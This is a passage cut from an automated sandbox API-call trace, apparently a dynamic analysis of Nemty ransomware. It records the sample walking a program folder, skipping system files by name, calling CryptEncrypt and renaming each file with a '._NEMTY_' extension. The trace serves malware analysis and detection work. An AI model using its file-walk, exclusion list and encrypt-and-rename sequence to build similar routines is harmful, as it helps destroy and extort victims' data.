Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.750] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.862] CloseHandle (hObject=0xffffffff) returned 0 [0096.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0096.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0096.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.863] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0096.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.863] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0096.863] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0096.864] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0096.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0096.865] Sleep (dwMilliseconds=0x5) [0096.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed635f70, dwHighDateTime=0x1d561e7)) [0096.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed635f70, dwHighDateTime=0x1d561e7)) [0096.874] GetLastError () returned 0x5 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.874] GetLastError () returned 0x5 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0096.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.874] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0096.874] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="2VrAlsbGC6Zia9i7blFaQ2bGH3K7kL+iFuObUcgP3uDy4+zpd75y4EQNpWaVj5LW\r\n7PQV1OjxrpY1DM9tLIt2/tUlE8T3ap6snbOPFE1fI0PVNSl1uHP9U7TSBbd4qvXw\r\nOCW2wTsgq9tF5syrz7T2DIfUSPwrRqYf2q4XVV+0KVK6XvFlVp9iIwwJx7utuyGW\r\nJ6Bk3N2OzRVzBlpFB1IlLkPR7nufhHvxUq3eb3591tL1kfuWGigSv58jogZYD+pv\r\n5dYWLqW+dIb8u75SkWYw6xj4fRlNGRFmdqDte3t471FoVIKvRFckEn+b3DknlaCo\r\nj+eD2cnoS7QR4gh/+RbunQ==\r\n", pcchString=0x653e91c) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0096.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.875] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 